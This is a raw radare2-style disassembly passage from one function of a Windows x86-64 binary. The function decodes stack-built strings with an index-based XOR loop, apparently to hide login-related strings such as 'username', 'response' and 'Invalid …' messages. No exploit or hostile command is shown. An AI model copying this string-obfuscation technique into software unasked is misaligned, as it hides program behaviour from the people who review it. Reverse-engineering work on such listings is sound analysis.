lea rdx, [rsp + 0x4b]
mov byte [rsp + 0x50], r13b
lea rcx, [rsp + 0x60]
call fcn.1401c7720
movdqa xmm0, xmmword [0x1404cec30]
movdqu xmmword [rbp + 0x460], xmm0
mov qword [rbp + 0x450], r15
cmp byte [rax], 3
jne 0x1401b4775
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x450]
cmp rax, rdx
je 0x1401b3b3e
lea rcx, [rbp + 0x450]
call fcn.1401c3be0
movdqa xmm0, xmmword [0x1404cec30]
lea rcx, [rbp + 0x4e0]
mov rdx, r12
mov qword [rbp + 0x4e0], r15
movdqu xmmword [rbp + 0x4f0], xmm0
call fcn.14013eec4
xor eax, eax
mov dword [rsp + 0x42], 0x71677275
mov byte [rsp + 0x4a], al
mov ecx, r15d
mov dword [rsp + 0x46], 0x626b646a
nop dword [rax]
movsxd rax, ecx
xor byte [rsp + rax + 0x42], cl
inc ecx
cmp ecx, 8
jb 0x1401b3b80
lea rdx, [rsp + 0x42]
mov byte [rsp + 0x4a], r13b
lea rcx, [rsp + 0x60]
call fcn.1401c7720
movdqa xmm0, xmmword [0x1404cec30]
movdqu xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4c0], r15
cmp byte [rax], 3
jne 0x1401b4775
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x4c0]
cmp rax, rdx
je 0x1401b3bde
lea rcx, [rbp + 0x4c0]
call fcn.1401c3be0
lea rax, [rbp + 0x4c0]
cmp rbx, rax
je 0x1401b3bf9
lea rdx, [rbp + 0x4c0]
mov rcx, rbx
call fcn.1401c3be0
lea rcx, [rbx + 0x20]
lea rax, [rbp + 0x4e0]
cmp rcx, rax
je 0x1401b3c15
lea rdx, [rbp + 0x4e0]
call fcn.1401c3be0
lea rcx, [rbx + 0x40]
lea rax, [rbp + 0x450]
cmp rcx, rax
je 0x1401b3c31
lea rdx, [rbp + 0x450]
call fcn.1401c3be0
mov byte [rbx + 0x60], sil
mov byte [rbx + 0x61], r14b
mov dword [rbx + 0x64], edi
mov rdx, qword [rbp + 0x4d8]
cmp rdx, 0x10
jb 0x1401b3c7d
mov rcx, qword [rbp + 0x4c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3c78
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov rdx, qword [rbp + 0x4f8]
movdqa xmm0, xmmword [0x1404cec30]
mov byte [rbp + 0x4c0], r13b
movdqu xmmword [rbp + 0x4d0], xmm0
cmp rdx, 0x10
jb 0x1401b3cd5
mov rcx, qword [rbp + 0x4e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3cd0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov rdx, qword [rbp + 0x468]
movdqa xmm0, xmmword [0x1404cec30]
mov byte [rbp + 0x4e0], r13b
movdqu xmmword [rbp + 0x4f0], xmm0
cmp rdx, 0x10
jb 0x1401b3d2d
mov rcx, qword [rbp + 0x450]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3d28
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
movdqa xmm0, xmmword [0x1404cec30]
lea rcx, [rsp + 0x60]
mov byte [rbp + 0x450], r13b
mov r13b, 1
movdqu xmmword [rbp + 0x460], xmm0
call fcn.1401c3b10
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.1401c2dd0
xor esi, esi
jmp 0x1401b434c
movdqa xmm0, xmmword [0x1404cffc0]
xor eax, eax
movdqu xmmword [rbp + 0x418], xmm0
mov byte [rbp + 0x428], al
mov ecx, esi
movsxd rax, ecx
xor byte [rbp + rax + 0x418], cl
inc ecx
cmp ecx, 0x10
jb 0x1401b3d81
xor eax, eax
mov byte [rbp + 0x428], sil
mov byte [rsp + 0x4a], al
mov ecx, esi
mov dword [rsp + 0x42], 0x73716472
mov dword [rsp + 0x46], 0x62756b6b
movsxd rax, ecx
xor byte [rsp + rax + 0x42], cl
inc ecx
cmp ecx, 8
jb 0x1401b3db1
lea rdx, [rsp + 0x42]
mov byte [rsp + 0x4a], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov qword [rbp + 0x3b8], rsi
mov r8, rsi
mov qword [rbp + 0x3c8], rsi
mov r9, rdi
mov qword [rbp + 0x3d0], rdi
cmp byte [rax], 3
jne 0x1401b4775
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x3b8]
cmp rax, rdx
je 0x1401b3e21
lea rcx, [rbp + 0x3b8]
call fcn.1401c3be0
mov r9, qword [rbp + 0x3d0]
mov r8, qword [rbp + 0x3b8]
cmp r9, 0x10
lea rcx, [rbp + 0x3b8]
lea rdx, [rbp + 0x418]
cmovae rcx, r8
call fcn.1403cbcb0
mov rdx, qword [rbp + 0x3d0]
mov rbx, rax
cmp rdx, 0x10
jb 0x1401b3e80
mov rcx, qword [rbp + 0x3b8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b3e7b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp + 0x3c8], rsi
mov ecx, esi
mov qword [rbp + 0x3d0], rdi
mov byte [rbp + 0x3b8], sil
test rbx, rbx
je 0x1401b3f85
mov dword [rbp + 0x98], 0x6f0049
mov dword [rbp + 0x9c], 0x620074
mov dword [rbp + 0xa0], 0x6c0068
mov dword [rbp + 0xa4], 0x270062
mov dword [rbp + 0xa8], 0x7a007d
mov dword [rbp + 0xac], 0x79006f
mov dword [rbp + 0xb0], 0x6c0062
mov dword [rbp + 0xb4], 0x6a0063
mov dword [rbp + 0xb8], 0x7e0030
mov dword [rbp + 0xbc], 0x330060
mov dword [rbp + 0xc0], 0x740064
mov dword [rbp + 0xc4], 0x640065
mov dword [rbp + 0xc8], 0x76006f
mov dword [rbp + 0xcc], 0x7f0068
mov dword [rbp + 0xd0], 0x32
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x98], cx
inc ecx
cmp ecx, 0x1d
jb 0x1401b3f40
mov word [rbp + 0xd2], si
lea rdx, [rbp + 0x98]
xor ecx, ecx
call fcn.1401a8110
lea rcx, [rsp + 0x60]
call fcn.1401c3b10
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.1401c2dd0
jmp 0x1401b434c
movdqa xmm0, xmmword [0x1404cff00]
movdqu xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x300], 0x767462
nop
movsxd rax, ecx
xor byte [rbp + rax + 0x2f0], cl
inc ecx
cmp ecx, 0x13
jb 0x1401b3fa0
xor eax, eax
mov byte [rbp + 0x303], sil
mov byte [rsp + 0x53], al
mov ecx, esi
mov dword [rsp + 0x4b], 0x73716472
mov dword [rsp + 0x4f], 0x62756b6b
movsxd rax, ecx
xor byte [rsp + rax + 0x4b], cl
inc ecx
cmp ecx, 8
jb 0x1401b3fd0
lea rdx, [rsp + 0x4b]
mov byte [rsp + 0x53], sil
lea rcx, [rsp + 0x60]
call fcn.1401c7720
mov qword [rbp + 0x378], rsi
mov r8, rsi
mov qword [rbp + 0x388], rsi
mov r9, rdi
mov qword [rbp + 0x390], rdi
cmp byte [rax], 3
jne 0x1401b4775
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x378]
cmp rax, rdx
je 0x1401b4040
lea rcx, [rbp + 0x378]
call fcn.1401c3be0
mov r9, qword [rbp + 0x390]
mov r8, qword [rbp + 0x378]
cmp r9, 0x10
lea rcx, [rbp + 0x378]
lea rdx, [rbp + 0x2f0]
cmovae rcx, r8
call fcn.1403cbcb0
mov rdx, qword [rbp + 0x390]
mov rbx, rax
cmp rdx, 0x10
jb 0x1401b409f
mov rcx, qword [rbp + 0x378]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b409a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4781
call fcn.1403cad84
mov qword [rbp + 0x388], rsi
mov qword [rbp + 0x390], rdi
mov byte [rbp + 0x378], sil
test rbx, rbx
je 0x1401b3f67
xor eax, eax
mov dword [rbp + 0x38], 0x720055
mov word [rbp + 0x60], ax
mov ecx, esi
mov dword [rbp + 0x3c], 0x710067
mov dword [rbp + 0x40], 0x6b0024
mov dword [rbp + 0x44], 0x730069
mov dword [rbp + 0x48], 0x7b0028
mov dword [rbp + 0x4c], 0x6c006f
mov dword [rbp + 0x50], 0x7e0065
mov dword [rbp + 0x54], 0x6a007a
mov dword [rbp + 0x58], 0x740062
mov dword [rbp + 0x5c], 0x3d0076
nop dword [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x38], cx
inc ecx
cmp ecx, 0x14
jb 0x1401b4110
mov word [rbp + 0x60], si
lea rdx, [rbp + 0x38]
jmp 0x1401b3f60
mov dword [rbp + 0x176], 0x6e004c
mov dword [rbp + 0x17a], 0x770071
mov dword [rbp + 0x17e], 0x760024
mov dword [rbp + 0x182], 0x750063
mov dword [rbp + 0x186], 0x6c007e
mov dword [rbp + 0x18a], 0x2b0078
mov dword [rbp + 0x18e], 0x6c0068
mov dword [rbp + 0x192], 0x6e007a
mov dword [rbp + 0x196], 0x7e0030
mov dword [rbp + 0x19a], 0x33007c
mov dword [rbp + 0x19e], 0x7d0060
mov dword [rbp + 0x1a2], 0x370073
mov dword [rbp + 0x1a6], 0x7c006a
mov dword [rbp + 0x1aa], 0x720079
mov dword [rbp + 0x1ae], 0x6b0079
mov dword [rbp + 0x1b2], 0x3f007b
mov dword [rbp + 0x1b6], 0x550053
mov dword [rbp + 0x1ba], 0x570043
mov dword [rbp + 0x1be], 0xb0041
mov dword [rbp + 0x1c2], 0x730006
mov dword [rbp + 0x1c6], 0x50005a
mov dword [rbp + 0x1ca], 0x4a000a
mov dword [rbp + 0x1ce], 0x4c004b
mov dword [rbp + 0x1d2], 0x410047
mov dword [rbp + 0x1d6], 0x1e
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x176], cx
inc ecx
cmp ecx, 0x31
jb 0x1401b4230
lea rdx, [rbp + 0x176]
mov word [rbp + 0x1d8], si
xor ecx, ecx
call fcn.1401a8110
call fcn.1401a9e40
jmp 0x1401b3f67
xor eax, eax
mov dword [rbp + 0xd4], 0x630041
mov word [rbp + 0x118], ax
mov ecx, esi
mov dword [rbp + 0xd8], 0x6c006c
mov dword [rbp + 0xdc], 0x680076
mov dword [rbp + 0xe0], 0x6b0067
mov dword [rbp + 0xe4], 0x7a0028
mov dword [rbp + 0xe8], 0x79006f
mov dword [rbp + 0xec], 0x68007a
mov dword [rbp + 0xf0], 0x2f007c
mov dword [rbp + 0xf4], 0x7f0071
mov dword [rbp + 0xf8], 0x640061
mov dword [rbp + 0xfc], 0x670071
mov dword [rbp + 0x100], 0x370038
mov dword [rbp + 0x104], 0x6b004c
mov dword [rbp + 0x108], 0x3b0063
mov dword [rbp + 0x10c], 0x7a007d
mov dword [rbp + 0x110], 0x76007f
mov dword [rbp + 0x114], 0xf004e
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0xd4], cx
inc ecx
cmp ecx, 0x22
jb 0x1401b4320
lea rdx, [rbp + 0xd4]
mov word [rbp + 0x118], si
xor ecx, ecx
call fcn.1401a8110
call fcn.1401a9e40
call fcn.140140f70
lea rcx, [rbp + 0x358]
mov dword [rax + 0x2c], esi
call fcn.140194820
lea rcx, [rbp + 0x3f8]
call fcn.140194820
lea rcx, [rbp + 0x18]
call fcn.140194820
jmp 0x1401b4412
xor eax, eax
mov dword [rbp + 0x62], 0x6f0045
mov word [rbp + 0x96], ax
mov ecx, r9d
mov dword [rbp + 0x66], 0x710061
mov dword [rbp + 0x6a], 0x75007d
mov dword [rbp + 0x6e], 0x6e0072
mov dword [rbp + 0x72], 0x670067
mov dword [rbp + 0x76], 0x6a002a
mov dword [rbp + 0x7a], 0x64007c
mov dword [rbp + 0x7e], 0x78002e
mov dword [rbp + 0x82], 0x620071
mov dword [rbp + 0x86], 0x750032
mov dword [rbp + 0x8a], 0x7c0075
mov dword [rbp + 0x8e], 0x72007a
mov dword [rbp + 0x92], 0x37007c
movsxd rax, ecx
xor word [rbp + rax*2 + 0x62], cx
inc ecx
cmp ecx, 0x1a
jb 0x1401b43f0
lea rdx, [rbp + 0x62]
mov word [rbp + 0x96], r9w
xor ecx, ecx
call fcn.1401a8110
lea rcx, [rbp + 0x430]
call fcn.14013ecc0
lea rcx, [rbp + 8]
call fcn.1401c2010
jmp 0x1401b4717
mov byte [r12], r13b
mov ecx, esi
mov dword [rbp + 0x1da], 0x600050
mov dword [rbp + 0x1de], 0x700071
mov dword [rbp + 0x1e2], 0x6a0073
mov dword [rbp + 0x1e6], 0x630074
mov dword [rbp + 0x1ea], 0x650028
mov dword [rbp + 0x1ee], 0x65006f
mov dword [rbp + 0x1f2], 0x65006b
mov dword [rbp + 0x1f6], 0x2f007a
mov dword [rbp + 0x1fa], 0x790063
mov dword [rbp + 0x1fe], 0x66007d
mov dword [rbp + 0x202], 0x710078
mov dword [rbp + 0x206], 0x750036
mov dword [rbp + 0x20a], 0x39007d
mov dword [rbp + 0x20e], 0x740077
mov dword [rbp + 0x212], 0x78006e
mov dword [rbp + 0x216], 0x6b003e
mov dword [rbp + 0x21a], 0x400048
mov dword [rbp + 0x21e], 0x3004c
mov dword [rbp + 0x222], 0x5001c
mov dword [rbp + 0x226], 0x490047
mov dword [rbp + 0x22a], 0x9004c
mov dword [rbp + 0x22e], 0x4e0046
mov dword [rbp + 0x232], 0x5e005f
mov dword [rbp + 0x236], 0x5b000e
mov dword [rbp + 0x23a], 0x500058
mov dword [rbp + 0x23e], 0x13005c
mov dword [rbp + 0x242], 0x30005
mov dword [rbp + 0x246], 0x440016
mov dword [rbp + 0x24a], 0x540041
mov dword [rbp + 0x24e], 0x540058
mov dword [rbp + 0x252], 0x4e0050
mov dword [rbp + 0x256], 0x10
nop dword [rax]
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x1da], cx
inc ecx
cmp ecx, 0x3f
jb 0x1401b4580
mov word [rbp + 0x258], si
lea rdx, [rbp + 0x1da]
jmp 0x1401b4710
mov byte [r15], r13b
mov ecx, esi
mov dword [rbp + 0x25a], 0x720055
mov dword [rbp + 0x25e], 0x710067
mov dword [rbp + 0x262], 0x64006a
mov dword [rbp + 0x266], 0x62006b
mov dword [rbp + 0x26a], 0x650028
mov dword [rbp + 0x26e], 0x65006f
mov dword [rbp + 0x272], 0x65006b
mov dword [rbp + 0x276], 0x2f007a
mov dword [rbp + 0x27a], 0x790063
mov dword [rbp + 0x27e], 0x66007d
mov dword [rbp + 0x282], 0x710078
mov dword [rbp + 0x286], 0x750036
mov dword [rbp + 0x28a], 0x39007d
mov dword [rbp + 0x28e], 0x740077
mov dword [rbp + 0x292], 0x78006e
mov dword [rbp + 0x296], 0x6b003e
mov dword [rbp + 0x29a], 0x400048
mov dword [rbp + 0x29e], 0x3004c
mov dword [rbp + 0x2a2], 0x50017
mov dword [rbp + 0x2a6], 0x490047
mov dword [rbp + 0x2aa], 0x9004c
mov dword [rbp + 0x2ae], 0x4e0046
mov dword [rbp + 0x2b2], 0x5e005f
mov dword [rbp + 0x2b6], 0x5b000e
mov dword [rbp + 0x2ba], 0x500058
mov dword [rbp + 0x2be], 0x13005c
mov dword [rbp + 0x2c2], 0x70007
mov dword [rbp + 0x2c6], 0x440016
mov dword [rbp + 0x2ca], 0x540041
mov dword [rbp + 0x2ce], 0x540058
mov dword [rbp + 0x2d2], 0x4e0050
mov dword [rbp + 0x2d6], 0x10
nop word [rax + rax]
movsxd rax, ecx
xor word [rbp + rax*2 + 0x25a], cx
inc ecx
cmp ecx, 0x3f
jb 0x1401b46f0
mov word [rbp + 0x2d8], si
lea rdx, [rbp + 0x25a]
xor ecx, ecx
call fcn.1401a8110
lea rcx, [rbp - 0x18]
call fcn.14013ecc0
lea rcx, [rbp - 0x48]
call fcn.14013ecc0
lea rcx, [rbp + 0x18]
call fcn.14013ecc0
lea rcx, [rbp + 0x3f8]
call fcn.14013ecc0
lea rcx, [rbp + 0x358]
call fcn.14013ecc0
lea rcx, [rbp + 0x3d8]
call fcn.1401a64d0
mov rbx, qword [rsp + 0x8c0]
movzx eax, r13b
add rsp, 0x880
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1403e0e10
int3
call fcn.1401391d8
int3
call fcn.1403d7020
int3